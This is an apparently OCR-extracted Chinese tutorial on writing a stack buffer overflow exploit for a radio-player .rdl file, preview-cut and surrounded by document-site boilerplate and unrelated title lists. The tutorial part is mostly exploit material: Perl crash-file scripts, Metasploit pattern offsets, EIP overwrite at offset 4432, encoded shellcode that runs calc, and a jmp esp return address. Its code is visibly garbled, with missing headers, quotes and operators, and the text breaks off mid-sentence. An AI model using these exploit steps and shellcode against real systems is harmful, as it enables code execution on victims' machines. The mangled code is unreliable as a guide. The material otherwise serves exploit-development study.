版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、一、前言今天,我將會(huì)演示怎么樣編寫(xiě)簡(jiǎn)單的緩沖區(qū)溢出漏洞,在這之前我們需要了解一些相關(guān)的知識(shí),這樣對(duì)于理解才能夠比擬深刻,這些資料也將會(huì)在參考文章一欄列出。主要是實(shí)踐自己剛學(xué)過(guò)的一些知識(shí),穩(wěn)固一下。劫持EIP存放器是最終的目的。二、根底知識(shí)什么是棧?對(duì)于學(xué)過(guò)編程語(yǔ)言的人來(lái)說(shuō),對(duì)于棧都不會(huì)感到陌生。棧是一個(gè)數(shù)據(jù)結(jié)構(gòu),其根本的特性是后進(jìn)先出LIFO。在計(jì)算機(jī)中,棧一般用來(lái)保存局部變量,函數(shù)的調(diào)用和保存相應(yīng)的信息。棧的主要操作有兩種PUSH和POP。參看下面的例子來(lái)進(jìn)行理解。初始的棧234 Top Bottom現(xiàn)在我們要往棧中插入元素1,即執(zhí)行操作PUSH 1,那么插入元素1之后的棧為:1234 To
2、p Bottom現(xiàn)在我們要進(jìn)行POP操作,把棧頂?shù)脑貏h除。此時(shí)雖然POP 1,但是ESP 4的位置還是保存著1的,只不過(guò)此時(shí)是不能夠通過(guò)堆棧的操作對(duì)其進(jìn)行訪問(wèn)。操作后的結(jié)果234 Top Bottom再次進(jìn)行POP操作,此時(shí)的棧的布局如下所示34 Top Bottom更詳細(xì)的棧的內(nèi)容請(qǐng)看這里對(duì)棧有了了解之后我們需要知道在函數(shù)被調(diào)用之后,棧中的布局情況是怎么樣的?看看下面的圖就明白了。局部變量異常處理例程EBP函數(shù)返回地址函數(shù)參數(shù)內(nèi)存地址Bottom內(nèi)存高址對(duì)上圖進(jìn)行一些分析,在調(diào)用函數(shù)時(shí),我們首先把函數(shù)的參數(shù)壓入堆棧中,然后執(zhí)行call語(yǔ)句,在執(zhí)行call的同時(shí)將函數(shù)的返回地址壓入棧中,即c
3、all之后的下一條語(yǔ)句。返回地址是函數(shù)執(zhí)行完之后EIP所要執(zhí)行的地址。將EBP壓入棧中,主要是要通過(guò)EBP來(lái)對(duì)棧中的元素進(jìn)行訪問(wèn)。函數(shù)的局部變量也是保存在棧中的。需要記住堆棧的增長(zhǎng)方向是從內(nèi)存高址向內(nèi)存地址增長(zhǎng)的,這一點(diǎn)與堆的增長(zhǎng)方向剛好相反。一個(gè)簡(jiǎn)單的C程序來(lái)演示調(diào)用函數(shù)之后發(fā)生后棧中的情況,當(dāng)然這里也與函數(shù)的調(diào)用約定有點(diǎn)聯(lián)系,不過(guò)可以忽略,有興趣的可以自己了解或者看看我寫(xiě)的這篇教程還未完成。void DemoFunction(int par1, int par2) int localvar = 10;int main() DemoFunction(1, 2); return 0;當(dāng)函數(shù)調(diào)用
4、之后,棧中的情況就是這樣3EBPEIP12內(nèi)存地址$file);print $FILE $junk;close($FILE);print rdl file created successfully;我是在E盤(pán)存放Perl腳本執(zhí)行后的文件的。上面的perl腳本會(huì)創(chuàng)立crash.rdl的文件,里面的內(nèi)容為5000個(gè)字符A ,文件創(chuàng)立成功之后,我們直接雙擊它就可以看到程序崩潰了。如果有把Windbg或者Ollydbg設(shè)置為實(shí)時(shí)調(diào)試器的話,就會(huì)彈出下面的圖。下面的圖都是用原文章的,自己截的圖并不好,請(qǐng)見(jiàn)諒。從上面的圖我們可以看到EIP被41414141(AAAA)重寫(xiě)了,從這里我們就可以看出EIP的值
5、是能夠被改寫(xiě)的,也就是說(shuō)我們能夠?qū)IP的地址改寫(xiě)為我們想要執(zhí)行代碼的入口去。但此時(shí)我們并不能夠確定EIP所在的具體位置,所以我們要想方法去定位EIP的地址??梢岳貌孪敕▉?lái)進(jìn)行定位,但這樣盲目性太高,首先可以試試二分法來(lái)進(jìn)行定位,這樣比擬高效,所以我們可以編寫(xiě)下面的腳本。my $file = crash2.rdl;my $junkA = A x 4000;my $junkB = B x 1000;open($FILE, $file);print $FILE $junkA.$junkB;close($FILE);print rdl file created successfully;保存文件名
6、為exploit2.rdl。或者我們可以把前面的腳本注釋掉,注釋一大段的代碼可以像下面這樣操作,重點(diǎn)就是紅色的地方了。=aaamy $file = crash.rdl;my $junk = A x 5000;open($FILE, $file);print $FILE $junk;close($FILE);print rdl file created successfully;=cut具體執(zhí)行的操作與上面相似,這里不再贅述。從上面的圖我們可以看到此時(shí)EIP是被42424242(BBBB)重寫(xiě)了。所以我們大概知道EIP的偏移位于4000到5000之間。我們?cè)賮?lái)看看對(duì)esp進(jìn)行轉(zhuǎn)儲(chǔ)后的內(nèi)容。后面還
7、是跟著很多B。使用命令d esp就可以查看當(dāng)前棧中存放著的內(nèi)容了。通過(guò)上面的兩步操作我們大概可以了解到EIP的偏移位置了。但要做到精確定位,我們需要借助一些工具。下面講的是借助于Metasploit3這個(gè)來(lái)進(jìn)行操作的,但我自己也寫(xiě)了一些程序來(lái)實(shí)現(xiàn)。如果沒(méi)有這個(gè)工具的話就暫時(shí)可以跳過(guò)這里。當(dāng)然學(xué)會(huì)這個(gè)工具的使用還是必要的。具體步驟翻開(kāi)Cygwin shell,在所有程序MetasploitCygwin Shell。將目錄轉(zhuǎn)到msf3/tools下。創(chuàng)立500個(gè)特殊構(gòu)造的模式串使用pattern_create.rb這個(gè)腳本。$ cd ././msf3/tools$ ./pattern_create
8、.rb 500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj
9、7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq怎么樣才能夠做到精確定位呢即找出EIP所在的偏移位置。這就需要構(gòu)造一個(gè)特殊的字符串來(lái)進(jìn)行定位。我們可以利用Metasploit來(lái)產(chǎn)生這樣特殊構(gòu)造的字符串,當(dāng)然我們也可以自己寫(xiě)個(gè)程序來(lái)產(chǎn)生
10、。為此我自己寫(xiě)了一個(gè)簡(jiǎn)單的程序,可以看看下面。寫(xiě)的不好,只是完成了功能。#include #include #include using namespace std;void MakeString(int n) int count = 0; for (size_t i = 65; i != 91; +i) char temp1 = (char)(i); for (size_t j = 97; j != 123; +j) char temp2 = (char)(j); for (size_t k = 48; k != 58; +k) char temp3 = (char)(k); if (cou
11、nt+ n) printf(%c, temp1); if (count+ n) printf(%c, temp2); if (count+ n) exit(1); int main() freopen(out.txt, w, stdout); 字符串保存到這個(gè)文件之下。 int n; cin n; MakeString(n); return 0;程序輸入一個(gè)數(shù)n就可以產(chǎn)生n個(gè)字符到out.txt這個(gè)文件中。并且是30個(gè)字符為一行在練習(xí)的過(guò)程中,如果你用過(guò)Perl來(lái)編寫(xiě)相應(yīng)的exploit的時(shí)候你就會(huì)明白當(dāng)構(gòu)造的字符串很多的時(shí)候,我們需要不斷的將字符串用雙引號(hào)和加個(gè)點(diǎn),就像下面的這段代碼。$sh
12、ellcode .= x31xc9xbfxd3xc0 x5cx46xdbxc0 xd9x74x24xf4x5d . xb1x50 x83xedxfcx31x7dx0dx03x7dxdex22xa9xba . x8ax49x1fxabxb3x71x5fxd4x23x05xccx0fx87x92 .x48x6cx4cxd8x57xf4x53xcexd3x4bx4bx9bxbbx73 . x6ax70 x0axffx58x0dx8cx11x91xd1x16x41x55x11 . x5cx9dx94x58x90 xa0 xd4xb6x5fx99x8cx6cx88xab . xc9xe6x97x77x1
13、0 x12x41xf3x1exafx05x5cx02x2e . xf1x60 x16xbbx8cx0bx42xa7xefx10 xbbx0cx8bx1d . xf8x82xdfx62xf2x69xafx7exa7xe5x10 x77xe9x91 . x1exc9x1bx8ex4fx29xf5x28x23xb3x91x87xf1x53 . x16x9bxc7xfcx8cxa4xf8x6bxe7xb6x05x50 xa7xb7 . x20 xf8xcexadxabx86x3dx25x36xdcxd7x34xc9x0e . x4fxe0 x3cx5ax22x45xc0 x72x6fx39x6dx28
14、xdcxfe . xc2x8dxb1xffx35x77x5dx15x05x1excex9cx88x4a . x98x3ax50 x05x9fx14x9ax33x75x8bx35xe9x76x7b . xddxb5x25x52xf7xe1xcax7dx54x5bxcbx52x33x86 . x7axd5x8dx1fx83x0fx5dxf4x2fxe5xa1x24x5cx6d . xb9xbcxa4x17x12xc0 xfexbdx63xeex98x57xf8x69 . x0cxcbx6dxffx29x61x3exa6x98xbax37xbfxb0 x06 . xc1xa2x75x47x22x88
15、x8bx05xe8x33x31xa6x61x46 . xcfx8ex2exf2x84x87x42xfbx69x41x5cx76xc9x91 . x74x22x86x3fx28x84x79xaaxcbx77x28x7fx9dx88 . x1ax17xb0 xaex9fx26x99xafx49xdcxe1xafx42xde . xcexdbxfbxdcx6cx1fx67xe2xa5xf2x98xccx22x03 . xecxe9xedxb0 x0fx27xeexe7;在上面用程序產(chǎn)生的特殊字符串之后,如果我們需要精確定位EIP位置時(shí),可能用到的字符串更大,如果我們經(jīng)常用手工來(lái)操作就顯得太笨拙了,這
16、些工作都是很無(wú)聊的,就是重復(fù)性不斷的,我們應(yīng)該利用計(jì)算機(jī)來(lái)幫我們做。其實(shí)要學(xué)會(huì)不要重復(fù)做一些無(wú)謂的事情,把時(shí)間節(jié)省出來(lái),充分發(fā)揮計(jì)算機(jī)的功能。下面再寫(xiě)了一個(gè)小程序,讓計(jì)算機(jī)來(lái)幫我們做這件事。其實(shí)如果可以我們應(yīng)該寫(xiě)一個(gè)插件也是行的。但是我的腳本編程能力不行,希望有能力的能夠幫個(gè)忙。#include #include #include #include using namespace std;void AutoString() string str; while (getline(cin, str) cout str . $file);print $FILE $junkA.$junkB;close
17、($FILE);print rdl File Created successfullyn;保存文件名為exploit3.pl,跟上面的操作一樣,perl exploit.pl將會(huì)產(chǎn)生radio3.rdl這個(gè)文件,雙擊之后,我們就可以看到下面這個(gè)圖了。從圖中我們可以看到eip此時(shí)為0 x41346f41,記住Intel是小端機(jī),就是高字節(jié)存放在高地址低字節(jié)存放在低地址,所以原來(lái)的順序應(yīng)該是416f3441(Ao4A),這里的圖與我自己本機(jī)上的是一樣的。我們可以利用Metasploit tool中的pattern_offset來(lái)計(jì)算EIP在緩沖區(qū)的偏移量。翻開(kāi)Cygwinshell和運(yùn)行patte
18、rn_offset這個(gè)Ruby腳本??聪旅娴牟僮鰽dministratorpc /msf3/tools$ ./pattern_offset.rb 41346f41 500432這是在自己本機(jī)上Linux下執(zhí)行的操作studyrushstudyrush-desktop:/opt/metasploit3/msf3/tools$ ./pattern_offset.rb 0 x41346f41 500432自己寫(xiě)了個(gè)程序來(lái)定位,其實(shí)就是字符串的匹配操作。/*FileName: eipstring.cppAuthor: StudyRushCreateDate: 2021-3-4UpdateDate: 2
19、021-3-5程序從out.txt文件中讀入字符,但此時(shí)應(yīng)該注意字符是沒(méi)有分行的所以在eipstring.cpp中我們應(yīng)該把if (count % 30 = 0) printf(n);這個(gè)注釋掉。另外還需要把在精確定位的eip改為下面的eip字符數(shù)組中。*/#include #include #include #include #include using namespace std;const int MAXN = 50000;char chMAXN;void Offset() freopen(out.txt, r, stdin); /freopen(string.txt, w, stdou
20、t); char temp; int k = 0; while (scanf(%c, &temp) != EOF) chk+ = temp; char eip = Ao4A; /把eip地址替換掉 size_t i = 0, j = 0; int len = strlen(ch); while (i $file);print $FILE $junkA.$eip.$junkC;close($FILE);print rdl File Created successfullyn;參照上面的操作,產(chǎn)生radio4.rdl文件,雙擊文件之后就可以看到下面的圖EIP此時(shí)已經(jīng)被BBBB(42424242)重
21、寫(xiě)了,也就驗(yàn)證了我們上面計(jì)算出來(lái)的偏移量是正確的。此時(shí)ESP也被C字符串所重寫(xiě)。我們可以將shellcode放在C字符串的位置和利用jmp esp的地址去重寫(xiě)EIP,以便讓EIP指向shellcode的入口地址,以此執(zhí)行shellcode。但是我們此時(shí)并不知道第一個(gè)C開(kāi)始的地址。所以我們還是創(chuàng)立一個(gè)腳本來(lái)確定起始地址。my $file = radio5.rdl;my $junkA = A x 4432;my $eip = BBBB;E123456789F123456789G;open($FILE, $file);print $FILE $junkA.$eip.$junkC;close($FIL
22、E);print rdl File Created successfullyn;創(chuàng)立文件并雙擊之后就看到這個(gè)圖從圖中我們可以看到ESP的起始地址是在00313c4c處,假設(shè)這并不是起始地址呢,此時(shí)我們應(yīng)該在shellcode的前面放一些NOP0 x90。利用Metasploit來(lái)產(chǎn)生shellcode,一個(gè)彈出計(jì)算器的shellcode。# windows/exec 144 bytes# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calcmy $shellcode = xdbxc0 x31xc9xbfx7cx16x70 xccxd9x74x2
23、4xf4xb1.x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30.x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa.x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96.x60 xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b.xf0 x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a.xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83.x1fx57x53x64x51xa1x33xcdxf5xc6xf
24、5xc1x7ex98.xf5xaaxf1x05xa8x26x99x3dx3bxc0 xd9xfex51x61.xb6x0ex2fx85x19x87xb7x78x2fx59x90 x7bxd7x05.x7fxe8x7bxca;Shellcode剛好從ESP起始地址為入口地址,所以我們可以用jmp esp或者call esp的地址去重寫(xiě)EIP,讓其指向shellcode的入口地址。我們可以從應(yīng)用程序加載的DLL中區(qū)尋找像jmp esp和call esp這樣的指令串的地址,但是這個(gè)應(yīng)用程序并沒(méi)有加載其它的DLL,所以我們只能夠從系統(tǒng)的DLL中找指令串的地址。比方想ntdll.dll kernel32.dll,user32.dll等這些DLL中去尋找指令串的地址。我們可以利用findjmp這個(gè)程序來(lái)查找指令串的地址。首先要進(jìn)入到findjmp的目錄下才能夠使用findjmp.exe。從上面的結(jié)果任選一個(gè)地址作為EIP的地址。在這里選擇0 x7C93FCD8這個(gè)地址。這里的地址因不同的系統(tǒng)會(huì)有所不一樣,所以當(dāng)你實(shí)踐的時(shí)候應(yīng)該以自己的系
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 倉(cāng)庫(kù)設(shè)施更新?lián)Q代方案
- 標(biāo)準(zhǔn)化廠房設(shè)施維護(hù)管理方案
- 鋼結(jié)構(gòu)吊裝作業(yè)安全管理方案
- 中醫(yī)院水電管線改造方案
- 儲(chǔ)備糧倉(cāng)庫(kù)項(xiàng)目評(píng)審與驗(yàn)收方案
- 施工現(xiàn)場(chǎng)工地文化建設(shè)方案
- 儲(chǔ)備糧倉(cāng)庫(kù)建筑施工安全方案
- 2026年泉州經(jīng)貿(mào)職業(yè)技術(shù)學(xué)院?jiǎn)握芯C合素質(zhì)考試模擬測(cè)試卷附答案
- 邊坡地表水引流系統(tǒng)方案
- 鋼結(jié)構(gòu)氣候適應(yīng)性設(shè)計(jì)方案
- 八年級(jí)地理上冊(cè)《中國(guó)的氣候》探究式教學(xué)設(shè)計(jì)
- 重慶市2026年高一(上)期末聯(lián)合檢測(cè)(康德卷)化學(xué)+答案
- 2026年湖南郴州市百??毓杉瘓F(tuán)有限公司招聘9人備考考試題庫(kù)及答案解析
- 2026貴州黔東南州公安局面向社會(huì)招聘警務(wù)輔助人員37人考試備考題庫(kù)及答案解析
- 2026年數(shù)字化管理專家認(rèn)證題庫(kù)200道及完整答案(全優(yōu))
- 鐵路除草作業(yè)方案范本
- 2026屆江蘇省常州市生物高一第一學(xué)期期末檢測(cè)試題含解析
- 2026年及未來(lái)5年市場(chǎng)數(shù)據(jù)中國(guó)高溫工業(yè)熱泵行業(yè)市場(chǎng)運(yùn)行態(tài)勢(shì)與投資戰(zhàn)略咨詢報(bào)告
- 教培機(jī)構(gòu)排課制度規(guī)范
- 2026年檢視問(wèn)題清單與整改措施(2篇)
- 國(guó)家開(kāi)放大學(xué)《基礎(chǔ)教育課程改革專題》形考任務(wù)(1-3)試題及答案解析
評(píng)論
0/150
提交評(píng)論